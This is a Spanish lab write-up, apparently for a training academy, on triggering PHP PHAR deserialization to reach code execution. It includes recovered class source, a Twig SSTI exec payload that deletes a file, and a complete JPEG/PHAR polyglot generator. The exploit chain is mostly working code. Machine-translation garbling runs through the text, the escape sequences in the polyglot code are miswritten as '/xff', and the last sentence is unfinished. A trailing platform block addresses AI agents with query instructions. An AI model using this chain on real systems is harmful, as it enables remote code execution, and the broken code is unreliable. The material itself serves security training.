> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/phar-deserialization-with-custom-chain.md).

# Deserialización PHAR con cadena personalizada

### Usando deserialización PHAR para desplegar una cadena de gadgets personalizada

Este laboratorio hace **no** no realiza deserialización clásica explícita. La idea es **provocar** la deserialización explotando el comportamiento de PHP con el wrapper **`phar://`**, para llegar a una **RCE** mediante una **cadena de gadgets personalizada**, y luego eliminar:

* `/home/carlos/morale.txt`

Identificador proporcionado:

* `wiener:peter`

<figure><img src="/files/4212c1d354878212effb00e2db07c66d4b29a49c" alt=""><figcaption></figcaption></figure>

### (1) Marcado del lado de la aplicación

#### Subida de avatar

Después de autenticarte, puedes **subir un archivo** mediante una consulta POST en la funcionalidad de avatar.1) Marcado del lado de la aplicación

<figure><img src="/files/87fd0d1cc2f12a4dbb4349ef2b222a7bab653b85" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/71f545971fe2e845bdcb191c1459d75f5230994f" alt=""><figcaption></figcaption></figure>

Cuando haces clic en la imagen de perfil, activa la carga mediante:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/d9513e13abfd09877d84219b05da7a7db824d070" alt=""><figcaption></figcaption></figure>

#### Archivos legibles en `/cgi-bin/`

Al visitar `/cgi-bin/`, varios archivos son **legibles** (útil para recuperar el código y construir la cadena).

| Nombre                | Tamaño |
| --------------------- | ------ |
| CustomTemplate.php    | 1091B  |
| CustomTemplate.php/\~ | 0B     |
| Blog.php              | 628B   |
| Blog.php/\~           | 0B     |
| avatar.php            | 540B   |

<figure><img src="/files/9c013b6b26bad07d918a83ed8f6323dc262a8be0" alt=""><figcaption></figcaption></figure>

#### 2) Código fuente recuperado

#### `blog.php`

Hay una `Blog` clase que inicializa Twig en `__wakeup()`:

* `__sleep()` serializa `token de usuario` y `desc`
* `__wakeup()` construye un `Twig_Environment` con una plantilla basada en `desc`
* `__toString()` renderiza `index` e inyecta `token de usuario`

Punto importante: `desc` se convierte directamente en una **plantilla Twig**, por lo que puede usarse para apuntar a **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

El `CustomTemplate` la clase contiene:

* un `$template_file_path` campo privado
* un `__destruct()` destructor que hace:
* `@unlink($this->lockFilePath());`

`lockFilePath()` construye:

* `'templates/' . $this->template_file_path . '.lock'`

Así que si controlamos `template_file_path` con un objeto que se convierte en cadena, podemos influir en la ruta usada por `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("No se pudo escribir en " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("No se pudo escribir en " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos pensó que esto sería una buena idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Carga útil Twig (SSTI → Exec)

Se usó la carga útil Twig:

Objetivo: ejecutar `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Estrategia de funcionamiento: PHAR poliglota

El desafío: la subida espera un **image**. / Solución: crear un **poliglota** archivo:

* Válido como **JPEG**
* pero que contiene un **PHAR** (formato tar/phar) con **metadatos** serializado

¿Por qué funciona?

* Cuando PHP abre un recurso mediante `phar://...`, puede provocar la lectura del manifiesto PHAR y **deserializar ciertos metadatos** (así que se ejecutan `__wakeup`, `__destruct`, etc., según la cadena).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // elimina <?php; no funciona con prefijo
    $len = strlen($phar) + 2; // fijo
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calcula la suma de comprobación tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // incrusta la suma de comprobación
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// clase exploit para POP
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// configuración para jpg
$tempname = 'temp.tar.phar'; // hazlo tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// crear jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// configuración para gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // cabecera gif, tamaño 300 x 300
$tempname = 'temp.phar'; // hazlo phar
$outfile = 'out.gif';

// crear gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Cadena de gadgets construida

Tú construyes:

* un `Blog` objeto con:
* `user = "pwned"`
* `desc = <carga útil Twig SSTI>`
* luego pones este objeto en `CustomTemplate->template_file_path`

Así, cuando `CustomTemplate` se destruye, `lockFilePath()` concatenará un valor de un objeto, lo que fuerza una conversión a cadena → llama a `Blog::__toString()` → activa `twig->render()` → interpreta `desc` → ejecuta el comando.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/3ef69e72e9ed862e51898efa86d9326ecf9a809f" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:\"CustomTemplate\":1:{s:18:\"template_file_path\";O:4:\"Blog\":2:{s:4:\"user\";s:5:\"pwned\";s:4:\"desc\";s:106:\"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}\";}}"
```

{% endcode %}

* Sube `out.jpg` como avatar

<figure><img src="/files/6fef481ac85af324d0fc50cef8cc3b56fa7fb94e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5140b2cf6a62abfe27fe6c1511865050f3160f41" alt=""><figcaption></figcaption></figure>

Llamada al recurso mediante `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

En ese momento, la aplicación abre el recurso con el wrapper PHAR, los metadatos se deserializan, la cadena se activa y el archivo:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
